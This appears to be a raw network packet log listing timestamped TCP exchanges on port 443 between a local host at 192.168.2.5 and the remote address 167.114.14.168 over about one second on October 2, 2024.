Oct 2, 2024 06:10:22.493993044 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.493993998 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.494014978 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.494107008 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.494132042 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.494179964 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.494199038 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.494223118 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.538883924 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.547477961 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.547493935 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.547525883 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.547554016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.547583103 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.547585964 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.547595024 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.547620058 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.547658920 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.547708035 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.547722101 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.547765017 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.547779083 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.547810078 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.565220118 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.565248966 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.565315008 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.565325022 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.565597057 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.565615892 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.565656900 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.565665960 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.565696001 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.566015959 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.566035032 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.566075087 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.566082001 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.566111088 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.582151890 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.582170963 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.582243919 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.582254887 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.582504988 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.582525015 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.582564116 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.582571030 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.582596064 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.632589102 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.635786057 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.635798931 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.635839939 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.635870934 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.635886908 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.635895967 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.635955095 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.636162996 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.636179924 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.636234045 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.636241913 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.636277914 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.636375904 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.636390924 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.636455059 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.636461020 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.639575005 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.653847933 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.653873920 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.653979063 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.653992891 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.654130936 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.654150963 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.654194117 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.654207945 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.654237986 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.654263973 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.654470921 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.654490948 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.654542923 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.654550076 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.655565977 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.670727015 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.670743942 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.670869112 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.670900106 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.670979977 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.671643019 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.671658993 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.671722889 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.671736002 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.671833038 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.724050999 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.724069118 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.724159002 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.724176884 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.724358082 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.724457026 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.724474907 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.724550009 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.724561930 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.724658966 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.724860907 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.724878073 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.724936962 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.724946022 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.725037098 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.742320061 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.742338896 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.742423058 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.742436886 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.742712975 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.742733955 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.742782116 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.742795944 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.742824078 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.743410110 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.743422985 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.743483067 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.743489981 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.743570089 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.759366035 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.759391069 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.759433031 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.759440899 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.759470940 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.759489059 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.760318995 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.760338068 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.760399103 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.760406017 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.760433912 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.760510921 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.822166920 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.822194099 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.822241068 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.822252989 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.822277069 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.822289944 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.822300911 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.822308064 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.822314978 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.822345018 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.822376013 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.822542906 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.822557926 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.822593927 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.822602034 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.822628021 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.822647095 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.831206083 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.831231117 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.831270933 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.831276894 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.831291914 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.831314087 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.831516981 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.831541061 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.831581116 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.831588984 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.831608057 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.831625938 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.831979990 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.831996918 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.832040071 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.832047939 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.832063913 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.832079887 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.847860098 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.847878933 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.847944021 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.847953081 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.847995996 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.848864079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.848881006 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.848921061 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.848927021 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.848997116 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.848997116 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.901585102 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.901601076 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.901683092 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.901706934 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.901753902 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.901845932 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.901859999 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.901905060 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.901911974 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.901951075 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.902149916 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.902168989 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.902203083 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.902209044 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.902235031 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.902246952 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.919704914 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.919720888 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.919801950 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.919810057 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.919855118 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.920056105 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.920070887 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.920109034 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.920114994 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.920145988 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.920164108 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.920433998 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.920449972 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.920502901 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.920511007 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.920548916 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.922786951 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.936436892 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.936455011 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.936534882 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.936542034 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.936585903 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.937549114 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.937565088 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.937623024 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.937629938 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.937671900 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.990365028 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.990390062 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.990458012 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.990467072 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.990511894 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.990643024 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.990660906 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.990719080 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.990725994 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.990767956 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.990936041 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.990953922 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.991009951 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.991015911 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:22.991065979 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:22.994982004 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.008924961 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.008954048 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.009026051 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.009038925 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.009074926 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.009092093 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.009188890 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.009205103 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.009255886 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.009260893 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.009303093 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.009483099 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.009502888 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.009542942 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.009548903 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.009577990 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.009596109 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.025046110 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.025062084 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.025127888 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.025135994 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.025201082 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.026850939 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.026866913 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.026911974 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.026918888 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.026941061 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.026967049 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.078983068 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.078999043 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.079076052 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.079091072 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.079149961 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.079288006 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.079304934 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.079355001 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.079360962 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.079410076 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.079440117 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.079453945 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.079509020 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.079516888 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.079555988 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.097006083 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.097028017 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.097105980 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.097114086 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.097157955 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.097290039 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.097306967 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.097357035 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.097362995 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.097402096 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.097882986 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.097898006 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.097949982 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.097956896 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.097995043 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.113630056 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.113645077 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.113714933 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.113723040 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.113751888 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.113770008 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.115170956 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.115185976 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.115256071 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.115263939 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.115303993 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.156904936 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.183605909 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.183625937 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.183706045 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.183727026 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.183769941 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.184066057 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.184082985 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.184129953 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.184137106 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.184179068 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.184360027 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.184380054 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.184421062 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.184427977 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.184459925 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.184470892 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.195544004 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.195561886 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.195628881 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.195636988 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.195672035 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.195980072 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.195996046 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.196033955 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.196039915 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:23.196063995 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.196073055 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:23.196225882 CEST	443	49715	167.114.14.168	192.168.2.5
